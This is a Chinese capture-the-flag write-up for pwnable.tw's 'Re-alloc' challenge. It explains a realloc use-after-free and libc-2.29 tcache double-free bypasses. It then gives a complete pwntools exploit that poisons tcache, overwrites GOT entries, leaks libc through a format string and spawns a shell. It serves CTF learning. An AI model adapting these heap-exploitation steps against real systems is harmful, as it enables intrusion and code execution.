Re-alloc in pwnable.tw
Challenge
题目非常简洁,一共三个功能:
- realloc
创建
一个堆块 - realloc
重新分配
一个已经存在堆块的大小 - realloc
释放
一个堆块
存在的漏洞点有两个
- 创建一个堆块中有个 OFF BY NULL(虽然对做题没啥用)
- 重新分配大小中可以设置大小为0,这样就是一个UAF
题目限制
- 只能同时控制两个chunk
- realloc大小≤0X78
Solution
主要就是如何利用这个UAF
显而易见的是可以将一个任意地址链入tcache,设第一次的size为 x
add(0,x) - > re(0,0) - > re(0,x-0x20,p64(0xdeadbeef))
但是这样做 有个问题如果我们想要获得0xdeadbeef这个chunk我们需要add 2次,那么如何清除指针是一个问题,本题中出了delet功能没有其他功能可以清除指针。
delet中有两个问题
- chunk size不能是
x
,否则会挡住我们想要获得的地址 - 防止
double free
被检查到
在libc-2.29中防止double free被检查的方法有两个,修改chunk size 或者修改key。
本题中前者比较好用,因为realloc有切割功能,只要通过第二个功能就可以修改chunk的大小。
所以我们的思路是
- UAF 将需要控制的地址链入tache
- 清空bss上指针
- 写入需要控制的地址
EXP
from pwn import *
#context.log_level='debug'
context.arch='amd64'
def cmd(c):
p.sendlineafter("ce: ",str(c))
def add(idx,size,c="A"):
cmd(1)
p.sendlineafter("dex:",str(idx))
p.sendlineafter("Size:",str(size))
p.sendafter("Data:",c)
def re(idx,size,c="A"):
cmd(2)
p.sendlineafter("dex:",str(idx))
p.sendlineafter("Size:",str(size))
if(size>0):
p.sendafter("Data:",c)
def free(idx):
cmd(3)
p.sendlineafter("dex:",str(idx))
atoll_got=0x000000000404048
printf_plt=0x401070
exit_got=0x000000000404018
#p=process('./pwn')
p=remote("chall.pwnable.tw",10106)
# LINK atoll_got in tcache
add(0,0x78,'A'*0x78)
re(0,0)
re(0,0x28,p64(atoll_got))
# GET atoll_got
add(1,0x78)
re(1,0x58)
free(1)
add(1,0x78,p64(printf_plt))
#gdb.attach(p,'b printf')
# FORMAT STRING
free("%9$p")
base=int(p.readline()[:-1],16)-(0x7ffff7e53e4a-0x7ffff7dd0000)
one=0x106ef8+base
for off in range(6):
free("%{}c%16$hn".format(0x4018+off))
free("%{}c%20$hhn".format(one&0xff))
one=one>>8
cmd(4)
log.warning(hex(base))
p.interactive()